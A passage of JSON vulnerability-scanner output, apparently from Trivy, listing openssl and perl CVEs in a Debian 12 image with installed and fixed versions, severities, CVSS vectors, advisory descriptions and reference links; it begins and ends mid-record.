summary: Applications that process attacker-controlled CMS data may\ncrash before authentication or cryptographic operations occur resulting in\nDenial of Service.\n\nWhen a CMS EnvelopedData message that uses KeyTransportRecipientInfo with\nRSA-OAEP encryption is processed, the optional parameters field of\nRSA-OAEP SourceFunc algorithm identifier is examined without checking\nfor its presence. This results in a NULL pointer dereference if the field\nis missing.\n\nApplications and services that call CMS_decrypt() on untrusted input\n(e.g., S/MIME processing or CMS-based protocols) are vulnerable.\n\nThe FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this\nissue, as the affected code is outside the OpenSSL FIPS module boundary.", "Severity": "HIGH", "CweIDs": [ "CWE-476" ], "VendorSeverity": { "alma": 2, "amazon": 3, "azure": 2, "julia": 3, "nvd": 3, "oracle-oval": 2, "photon": 3, "redhat": 2, "rocky": 2, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:22312", "https://access.redhat.com/errata/RHSA-2026:22313", "https://access.redhat.com/security/cve/CVE-2026-28390", "https://bugzilla.redhat.com/2456314", "https://bugzilla.redhat.com/show_bug.cgi?id=2456314", "https://cert-portal.siemens.com/productcert/html/ssa-032379.html", "https://cert-portal.siemens.com/productcert/html/ssa-265688.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-28390", "https://errata.almalinux.org/9/ALSA-2026-22313.html", "https://errata.rockylinux.org/RLSA-2026:22312", "https://github.com/openssl/openssl/commit/01194a8f1941115cd0383bfa91c736dd3993c8bc", "https://github.com/openssl/openssl/commit/2e39b7a6993be445fddb9fbce316fa756e0397b6", "https://github.com/openssl/openssl/commit/af2a5fecd3e71a29e7568f9c1453dec5cebbaff4", "https://github.com/openssl/openssl/commit/ea7b4ea4f9f853521ba34830cbcadc970d2e0788", "https://github.com/openssl/openssl/commit/fd2f1a6cf53b9ceeca723a001aa4b825d7c7ee75", "https://linux.oracle.com/cve/CVE-2026-28390.html", "https://linux.oracle.com/errata/ELSA-2026-50345.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-28390", "https://openssl-library.org/news/secadv/20260407.txt", "https://ubuntu.com/security/notices/USN-8155-1", "https://ubuntu.com/security/notices/USN-8155-2", "https://www.cve.org/CVERecord?id=CVE-2026-28390", "https://www.openwall.com/lists/oss-security/2026/04/07/11" ], "PublishedDate": "2026-04-07T22:16:21.19Z", "LastModifiedDate": "2026-07-24T23:10:00.563Z" }, { "VulnerabilityID": "CVE-2026-45447", "VendorIDs": [ "DSA-6335-1" ], "PkgID": "openssl@3.0.18-1~deb12u2", "PkgName": "openssl", "PkgIdentifier": { "PURL": "pkg:deb/debian/openssl@3.0.18-1~deb12u2?arch=amd64\u0026distro=debian-12.13", "UID": "363922abf5dc6da4" }, "InstalledVersion": "3.0.18-1~deb12u2", "FixedVersion": "3.0.20-1~deb12u2", "Status": "fixed", "Layer": { "DiffID": "sha256:b99979c554d5f2d69cbadc58ddd93437ce6bba42863814753b116dd758762b98" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-45447", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:cffa55afbcd842dab791e6f181334feeff8b32ba26649fcc78bc9b8ae1fc9824", "Title": "openssl: Heap Use-After-Free in OpenSSL PKCS7_verify()", "Description": "Issue summary: A specially crafted PKCS#7 or S/MIME signed message could\ntrigger a use-after-free during PKCS#7 signature verification.\n\nImpact summary: A use-after-free may result in process crashes, heap\ncorruption, or potentially remote code execution.\n\nWhen processing a PKCS#7 or S/MIME signed message, if the SignedData\ndigestAlgorithms field is present as an empty ASN.1 SET, OpenSSL may\nincorrectly free a caller-owned BIO during PKCS7_verify(). A subsequent\nuse of the BIO by the calling application results in a use-after-free\ncondition.\n\nIn the common case this occurs when the application later calls\nBIO_free() on the BIO originally passed to PKCS7_verify(). Depending\non allocator behavior and application-specific BIO usage patterns, this\nmay result in a crash or other memory corruption. In some application\ncontexts this may potentially be exploitable for remote code execution.\n\nApplications that process PKCS#7 or S/MIME signed messages using OpenSSL\nPKCS#7 APIs may be affected. Applications using the CMS APIs for this\nprocessing are not affected.\n\nThe FIPS modules in 4.0, 3.6, 3.5, 3.4, and 3.0 are not affected by this\nissue, as the affected code is outside the OpenSSL FIPS module boundary.", "Severity": "HIGH", "CweIDs": [ "CWE-416", "CWE-825" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "julia": 3, "oracle-oval": 2, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:25237", "https://access.redhat.com/errata/RHSA-2026:25239", "https://access.redhat.com/errata/RHSA-2026:26275", "https://access.redhat.com/errata/RHSA-2026:26319", "https://access.redhat.com/errata/RHSA-2026:29197", "https://access.redhat.com/errata/RHSA-2026:34102", "https://access.redhat.com/errata/RHSA-2026:35869", "https://access.redhat.com/errata/RHSA-2026:36215", "https://access.redhat.com/errata/RHSA-2026:36217", "https://access.redhat.com/errata/RHSA-2026:39009", "https://access.redhat.com/errata/RHSA-2026:39012", "https://access.redhat.com/errata/RHSA-2026:39981", "https://access.redhat.com/errata/RHSA-2026:44438", "https://access.redhat.com/errata/RHSA-2026:47735", "https://access.redhat.com/errata/RHSA-2026:47737", "https://access.redhat.com/errata/RHSA-2026:58563", "https://access.redhat.com/errata/RHSA-2026:58981", "https://access.redhat.com/errata/RHSA-2026:59831", "https://access.redhat.com/errata/RHSA-2026:66524", "https://access.redhat.com/security/cve/CVE-2026-45447", "https://bugzilla.redhat.com/2481898", "https://bugzilla.redhat.com/show_bug.cgi?id=2481879", "https://bugzilla.redhat.com/show_bug.cgi?id=2481880", "https://bugzilla.redhat.com/show_bug.cgi?id=2481881", "https://bugzilla.redhat.com/show_bug.cgi?id=2481882", "https://bugzilla.redhat.com/show_bug.cgi?id=2481884", "https://bugzilla.redhat.com/show_bug.cgi?id=2481885", "https://bugzilla.redhat.com/show_bug.cgi?id=2481887", "https://bugzilla.redhat.com/show_bug.cgi?id=2481890", "https://bugzilla.redhat.com/show_bug.cgi?id=2481891", "https://bugzilla.redhat.com/show_bug.cgi?id=2481892", "https://bugzilla.redhat.com/show_bug.cgi?id=2481893", "https://bugzilla.redhat.com/show_bug.cgi?id=2481894", "https://bugzilla.redhat.com/show_bug.cgi?id=2481896", "https://bugzilla.redhat.com/show_bug.cgi?id=2481897", "https://bugzilla.redhat.com/show_bug.cgi?id=2481898", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-34180", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-34181", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-34182", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-34183", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42764", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42766", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42767", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42768", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42769", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42770", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45445", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45446", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45447", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-7383", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-9076", "https://errata.almalinux.org/9/ALSA-2026-44438.html", "https://errata.rockylinux.org/RLSA-2026:25239", "https://github.com/advisories/GHSA-f684-cpcq-j565", "https://github.com/openssl/openssl/commit/3aad5eb7af4de4ee0633c30a8541a54d9bbde63c", "https://github.com/openssl/openssl/commit/7d4a980c62258c5910cc883936e0c8dbab4d75a8", "https://github.com/openssl/openssl/commit/9dfd688ad2290fc5075cacbc9bf0c9a93eefed54", "https://github.com/openssl/openssl/commit/a541ae8bfe849a30cc885e8780715c0f488e496c", "https://github.com/openssl/openssl/commit/c505d7559da5d5f9f2c3913c6883a5562ce7273e", "https://github.com/openssl/security/commit/3aad5eb7af4de4ee0633c30a8541a54d9bbde63c", "https://github.com/openssl/security/commit/7d4a980c62258c5910cc883936e0c8dbab4d75a8", "https://github.com/openssl/security/commit/9dfd688ad2290fc5075cacbc9bf0c9a93eefed54", "https://github.com/openssl/security/commit/a541ae8bfe849a30cc885e8780715c0f488e496c", "https://github.com/openssl/security/commit/c505d7559da5d5f9f2c3913c6883a5562ce7273e", "https://linux.oracle.com/cve/CVE-2026-45447.html", "https://linux.oracle.com/errata/ELSA-2026-50379.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-45447", "https://openssl-library.org/news/secadv/20260609.txt", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-45447.json", "https://ubuntu.com/security/notices/USN-8414-1", "https://ubuntu.com/security/notices/USN-8414-2", "https://www.cve.org/CVERecord?id=CVE-2026-45447" ], "PublishedDate": "2026-06-09T17:17:19.277Z", "LastModifiedDate": "2026-09-18T13:18:26.343Z" }, { "VulnerabilityID": "CVE-2026-84782", "VendorIDs": [ "DLA-4859-1" ], "PkgID": "openssl@3.0.18-1~deb12u2", "PkgName": "openssl", "PkgIdentifier": { "PURL": "pkg:deb/debian/openssl@3.0.18-1~deb12u2?arch=amd64\u0026distro=debian-12.13", "UID": "363922abf5dc6da4" }, "InstalledVersion": "3.0.18-1~deb12u2", "FixedVersion": "3.0.22-1~deb12u2", "Status": "fixed", "Layer": { "DiffID": "sha256:b99979c554d5f2d69cbadc58ddd93437ce6bba42863814753b116dd758762b98" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-84782", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d4dd99f9c98862554e0f86c62418a14c20fc9f5ebb3cb7e337104ed1be2ac254", "Title": "openssl: compat-openssl: openssl: Information disclosure via DTLS handshake retransmission", "Description": "Issue summary: The DTLS retransmission logic does not correctly handle\na handshake message write that is suspended part-way through.\nThe retransmitted message can be read past the message buffer and\nthe retransmission overwrites the internal state the suspended write\nneeds to resume correctly.\n\nImpact summary: The retransmitted message can disclose a heap memory\nto the peer as plaintext handshake data or cause a crash and a Denial\nof Service when the read reaches an unmapped memory region.\n\nCWE: CWE-125: Out-of-bounds Read\n\nDescription: DTLS handshake messages can be written out in multiple\nfragments, and a write can suspend mid-message (returning WANT_WRITE)\nif the underlying transport temporarily cannot accept more data. While\nsuch a write is suspended, the DTLS retransmission timer may\nindependently fire and ask the retransmission logic to resend an\nearlier, already-acknowledged-as-sent message from its retransmit\nqueue.\n\nThe retransmission logic reused the same internal buffer and position\ntracking as the message that was still being written, without\nresetting the position back to the start of the message being\nretransmitted. As a result the retransmission was read starting from\nwherever the suspended write had left off, producing a mislabelled\nmessage whose body was leftover bytes from the other, larger message\nstill in flight - content that was never meant to be sent at that\npoint, and which could run past the end of the allocated buffer.\n\nSeparately, even when the retransmission is positioned correctly,\nallowing it to run to completion while another write is suspended\noverwrites the same shared bookkeeping that the suspended write\ndepends on to resume. When the application later resumes the\nsuspended write (via a subsequent SSL_read(), SSL_write(),\nSSL_accept(), or SSL_connect() call), it finds that bookkeeping in a\nstate inconsistent with the message and aborts the process in\na debugging build.\n\nThe fix resets the retransmission's read position to the start of the\nmessage before resending, and skips retransmission entirely whenever a\nhandshake write is still suspended, deferring to the next call that\nresumes it instead.\n\nFIPS impact: no\nThe affected code is outside the FIPS module boundary.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "alma": 2, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.4 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:77396", "https://access.redhat.com/errata/RHSA-2026:80514", "https://access.redhat.com/security/cve/CVE-2026-84782", "https://bugzilla.redhat.com/2517560", "https://bugzilla.redhat.com/2537080", "https://bugzilla.redhat.com/show_bug.cgi?id=2537080", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-84782", "https://errata.almalinux.org/9/ALSA-2026-80514.html", "https://errata.rockylinux.org/RLSA-2026:77396", "https://github.com/openssl/openssl/commit/906cf0ef1c85ca40ce69163e9086d6d3fe292943", "https://github.com/openssl/openssl/commit/9f6b34422af7eb5dac61322e33dac1ae989fa628", "https://github.com/openssl/openssl/commit/a383dafdd754eb5b22bf45e37e1bff9d07277a58", "https://github.com/openssl/openssl/commit/d951e02ede8f6a6ff8150546db44b34f0518192c", "https://linux.oracle.com/cve/CVE-2026-84782.html", "https://linux.oracle.com/errata/ELSA-2026-85968.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-84782", "https://openssl-library.org/news/secadv/20260929.txt", "https://openssl-library.org/news/vulnerabilities/#CVE-2026-84782", "https://ubuntu.com/security/notices/USN-8847-1", "https://ubuntu.com/security/notices/USN-8847-2", "https://www.cve.org/CVERecord?id=CVE-2026-84782" ], "PublishedDate": "2026-09-29T16:17:12.5Z", "LastModifiedDate": "2026-10-08T01:20:56.003Z" }, { "VulnerabilityID": "CVE-2026-13221", "VendorIDs": [ "DLA-4821-1" ], "PkgID": "perl@5.36.0-7+deb12u3", "PkgName": "perl", "PkgIdentifier": { "PURL": "pkg:deb/debian/perl@5.36.0-7%2Bdeb12u3?arch=amd64\u0026distro=debian-12.13", "UID": "9a9e37f215d7930c" }, "InstalledVersion": "5.36.0-7+deb12u3", "FixedVersion": "5.36.0-7+deb12u4", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-13221", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b7288aa27c0b3d3f557d265d0d79fee3b53e4bc74a6e236fbdbde381d8949e48", "Title": "perl: Perl: Incorrect regular expression processing via large regular expressions", "Description": "Perl versions before 5.40.5-RC1, from 5.41.0 before 5.42.3-RC1, from 5.43.0 before 5.43.10 produce silently incorrect regular expression matches when an alternation of more than 65535 fixed string branches is compiled into a trie in Perl_study_chunk.\n\nWhen such branches are combined into a trie, the delta between the first branch and the shared tail is stored in a 16-bit field. A branch count above 65535 overflows the field, and the trie's match decision table is truncated with no warning or error.\n\nA pattern of this shape produces false positive matches (matching strings it should not) and false negative matches (failing to match strings it should). When such a pattern gates an access or filtering decision, the result is wrong.", "Severity": "CRITICAL", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "alma": 2, "amazon": 2, "azure": 2, "nvd": 4, "oracle-oval": 2, "photon": 4, "redhat": 2, "rocky": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H", "V3Score": 9.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:H/A:N", "V3Score": 5.9 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/07/13/5", "https://access.redhat.com/errata/RHSA-2026:67155", "https://access.redhat.com/security/cve/CVE-2026-13221", "https://bugzilla.redhat.com/2499727", "https://bugzilla.redhat.com/show_bug.cgi?id=2499727", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13221", "https://errata.almalinux.org/9/ALSA-2026-67155.html", "https://errata.rockylinux.org/RLSA-2026:67155", "https://github.com/Perl/perl5/commit/03f74bbbd3a68350d926ee93d56ee4808c28c4c7.patch", "https://github.com/Perl/perl5/issues/23388", "https://linux.oracle.com/cve/CVE-2026-13221.html", "https://linux.oracle.com/errata/ELSA-2026-67278-0.html", "https://lists.security.metacpan.org/cve-announce/msg/41780104/", "https://nvd.nist.gov/vuln/detail/CVE-2026-13221", "https://ubuntu.com/security/notices/USN-8675-1", "https://ubuntu.com/security/notices/USN-8675-2", "https://ubuntu.com/security/notices/USN-8684-1", "https://www.cve.org/CVERecord?id=CVE-2026-13221" ], "PublishedDate": "2026-07-13T17:16:48.923Z", "LastModifiedDate": "2026-10-24T22:10:00.21Z" }, { "VulnerabilityID": "CVE-2026-42496", "VendorIDs": [ "DLA-4821-1" ], "PkgID": "perl@5.36.0-7+deb12u3", "PkgName": "perl", "PkgIdentifier": { "PURL": "pkg:deb/debian/perl@5.36.0-7%2Bdeb12u3?arch=amd64\u0026distro=debian-12.13", "UID": "9a9e37f215d7930c" }, "InstalledVersion": "5.36.0-7+deb12u3", "FixedVersion": "5.36.0-7+deb12u4", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-42496", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:7f39e4feb7a934d0d6e536d8f67a09c16b8d0e45bdc55fc51625efa0d875e880", "Title": "perl-archive-tar: perl-archive-tar: Path traversal via crafted symlinks allows arbitrary file access", "Description": "Archive::Tar versions before 3.08 for Perl extract symlinks with attacker controlled targets outside the extraction directory.\n\n_make_special_file() passes the tar header's linkname to symlink() without validating it against absolute paths or .. segments. The secure-extract mode check that guards regular file extraction does not cover the symlink target.\n\nA subsequent open through the extracted name reads or writes the attacker chosen path.", "Severity": "CRITICAL", "CweIDs": [ "CWE-59", "CWE-22" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "nvd": 4, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 9.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H", "V3Score": 8.2 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:30851", "https://access.redhat.com/errata/RHSA-2026:30852", "https://access.redhat.com/errata/RHSA-2026:30856", "https://access.redhat.com/errata/RHSA-2026:30857", "https://access.redhat.com/security/cve/CVE-2026-42496", "https://bugzilla.redhat.com/2481314", "https://bugzilla.redhat.com/show_bug.cgi?id=2481314", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42496", "https://errata.almalinux.org/9/ALSA-2026-30856.html", "https://errata.rockylinux.org/RLSA-2026:30856", "https://github.com/jib/archive-tar-new/commit/17c873492a05eddc0de18c1485e0b2cccd5a9158.patch", "https://linux.oracle.com/cve/CVE-2026-42496.html", "https://linux.oracle.com/errata/ELSA-2026-30857.html", "https://lists.security.metacpan.org/cve-announce/msg/40396459/", "https://metacpan.org/release/BINGOS/Archive-Tar-3.08/changes", "https://nvd.nist.gov/vuln/detail/CVE-2026-42496", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42496.json", "https://ubuntu.com/security/notices/USN-8467-1", "https://www.cve.org/CVERecord?id=CVE-2026-42496", "https://www.cve.org/CVERecord?id=CVE-2026-42497" ], "PublishedDate": "2026-05-26T02:16:40.13Z", "LastModifiedDate": "2026-07-24T10:10:00.197Z" }, { "VulnerabilityID": "CVE-2026-8376", "VendorIDs": [ "DLA-4821-1" ], "PkgID": "perl@5.36.0-7+deb12u3", "PkgName": "perl", "PkgIdentifier": { "PURL": "pkg:deb/debian/perl@5.36.0-7%2Bdeb12u3?arch=amd64\u0026distro=debian-12.13", "UID": "9a9e37f215d7930c" }, "InstalledVersion": "5.36.0-7+deb12u3", "FixedVersion": "5.36.0-7+deb12u4", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-8376", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:dd09258e192b0d893f0877d2927b6a0ddfbfb6931827adb1409a305af9850b7c", "Title": "perl: Perl: Heap buffer overflow when compiling regular expressions on 32-bit builds", "Description": "Perl versions before 5.40.5-RC1, from 5.41.0 before 5.42.3-RC1, from 5.43.0 before 5.43.11 have a heap buffer overflow when compiling regular expressions with a repeated fixed string on 32-bit builds.\n\nPerl_study_chunk in regcomp_study.c checked the size of the joined substring buffer in characters rather than bytes. For a quantified fixed substring with a large minimum count, the byte length mincount * l could overflow SSize_t, producing an undersized SvGROW allocation; the subsequent copy writes past the end of the buffer.\n\nA caller that compiles an attacker-controlled regular expression on a 32-bit perl build triggers a heap buffer overflow at compile time.", "Severity": "CRITICAL", "CweIDs": [ "CWE-680" ], "VendorSeverity": { "amazon": 2, "azure": 2, "nvd": 4, "photon": 4, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H", "V3Score": 5.7 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/05/26/1", "https://access.redhat.com/security/cve/CVE-2026-8376", "https://github.com/Perl/perl5/commit/5e7f119eb2bb1181be908701f22bf7068e722f1c.patch", "https://github.com/Perl/perl5/pull/24433", "https://nvd.nist.gov/vuln/detail/CVE-2026-8376", "https://ubuntu.com/security/notices/USN-8467-1", "https://www.cve.org/CVERecord?id=CVE-2026-8376" ], "PublishedDate": "2026-05-26T00:16:57.15Z", "LastModifiedDate": "2026-09-08T22:19:18.373Z" }, { "VulnerabilityID": "CVE-2026-42497", "VendorIDs": [ "DLA-4821-1" ], "PkgID": "perl@5.36.0-7+deb12u3", "PkgName": "perl", "PkgIdentifier": { "PURL": "pkg:deb/debian/perl@5.36.0-7%2Bdeb12u3?arch=amd64\u0026distro=debian-12.13", "UID": "9a9e37f215d7930c" }, "InstalledVersion": "5.36.0-7+deb12u3", "FixedVersion": "5.36.0-7+deb12u4", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-42497", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:14f41f4fda8289151d8a8895c9d4e227f36298236fcd48761960a25712cee331", "Title": "perl-Archive-Tar: perl-Archive-Tar: Arbitrary file modification via crafted hardlinks during archive extraction", "Description": "Archive::Tar versions before 3.08 for Perl extract hardlinks to attacker controlled paths outside the extraction directory.\n\n_make_special_file() passes the tar header's linkname to link() without validating it against absolute paths or .. segments, creating a hardlink that shares the victim file's inode.\n\nA subsequent write through the extracted name modifies the victim file, and the post-extraction chmod, chown, and utime block in _extract_file() (guarded only against symlinks via -l) applies the tar header's mode, owner, and timestamps to the shared inode during extraction alone.", "Severity": "HIGH", "CweIDs": [ "CWE-59", "CWE-732" ], "VendorSeverity": { "amazon": 3, "azure": 2, "nvd": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:L/I:H/A:H", "V3Score": 6.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-42497", "https://github.com/jib/archive-tar-new/commit/17c873492a05eddc0de18c1485e0b2cccd5a9158.patch", "https://lists.security.metacpan.org/cve-announce/msg/40396457/", "https://metacpan.org/release/BINGOS/Archive-Tar-3.08/changes", "https://nvd.nist.gov/vuln/detail/CVE-2026-42497", "https://www.cve.org/CVERecord?id=CVE-2026-42496", "https://www.cve.org/CVERecord?id=CVE-2026-42497" ], "PublishedDate": "2026-05-26T02:16:40.25Z", "LastModifiedDate": "2026-07-24T11:10:00.17Z" }, { "VulnerabilityID": "CVE-2026-48962", "VendorIDs": [ "DLA-4821-1" ], "PkgID": "perl@5.36.0-7+deb12u3", "PkgName": "perl", "PkgIdentifier": { "PURL": "pkg:deb/debian/perl@5.36.0-7%2Bdeb12u3?arch=amd64\u0026distro=debian-12.13", "UID": "9a9e37f215d7930c" }, "InstalledVersion": "5.36.0-7+deb12u3", "FixedVersion": "5.36.0-7+deb12u4", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-48962", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:c23f82941f5513d665e7329c767f6de264e83ce9d736ae25663846563b816490", "Title": "perl-IO-Compress: perl-IO-Compress: Arbitrary code execution via attacker-controlled output glob", "Description": "IO::Compress versions before 2.220 for Perl can execute arbitrary code in File::GlobMapper via an attacker-controlled output glob.\n\n_parseOutputGlob() wraps the caller-supplied output glob string in double quotes and stores it in the parser state; _getFiles() then runs the stored expression through eval STRING. A literal double quote in the output glob closes the dquote wrapper, and the characters that follow are evaluated as Perl.\n\nArbitrary Perl in the output glob executes at the calling process's privilege.", "Severity": "HIGH", "CweIDs": [ "CWE-95", "CWE-94" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/05/27/4", "https://access.redhat.com/errata/RHSA-2026:29182", "https://access.redhat.com/errata/RHSA-2026:29210", "https://access.redhat.com/errata/RHSA-2026:29867", "https://access.redhat.com/errata/RHSA-2026:29941", "https://access.redhat.com/errata/RHSA-2026:30085", "https://access.redhat.com/errata/RHSA-2026:30086", "https://access.redhat.com/errata/RHSA-2026:30115", "https://access.redhat.com/errata/RHSA-2026:30843", "https://access.redhat.com/errata/RHSA-2026:30851", "https://access.redhat.com/errata/RHSA-2026:30858", "https://access.redhat.com/errata/RHSA-2026:30859", "https://access.redhat.com/errata/RHSA-2026:30860", "https://access.redhat.com/errata/RHSA-2026:50262", "https://access.redhat.com/security/cve/CVE-2026-48962", "https://bugzilla.redhat.com/2481767", "https://bugzilla.redhat.com/show_bug.cgi?id=2481767", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-48962", "https://errata.almalinux.org/9/ALSA-2026-30859.html", "https://errata.rockylinux.org/RLSA-2026:30859", "https://github.com/pmqs/IO-Compress/commit/f2db247bf90d4cc7ee2710be384946081f3b4610.patch", "https://linux.oracle.com/cve/CVE-2026-48962.html", "https://linux.oracle.com/errata/ELSA-2026-30860.html", "https://lists.security.metacpan.org/cve-announce/msg/40434385/", "https://metacpan.org/release/PMQS/IO-Compress-2.220/changes", "https://nvd.nist.gov/vuln/detail/CVE-2026-48962", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-48962.json", "https://ubuntu.com/security/notices/USN-8684-1", "https://www.cve.org/CVERecord?id=CVE-2026-48962" ], "PublishedDate": "2026-05-27T04:16:31.333Z", "LastModifiedDate": "2026-08-05T13:23:22.46Z" }, { "VulnerabilityID": "CVE-2026-57432", "VendorIDs": [ "DLA-4821-1" ], "PkgID": "perl@5.36.0-7+deb12u3", "PkgName": "perl", "PkgIdentifier": { "PURL": "pkg:deb/debian/perl@5.36.0-7%2Bdeb12u3?arch=amd64\u0026distro=debian-12.13", "UID": "9a9e37f215d7930c" }, "InstalledVersion": "5.36.0-7+deb12u3", "FixedVersion": "5.36.0-7+deb12u4", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": 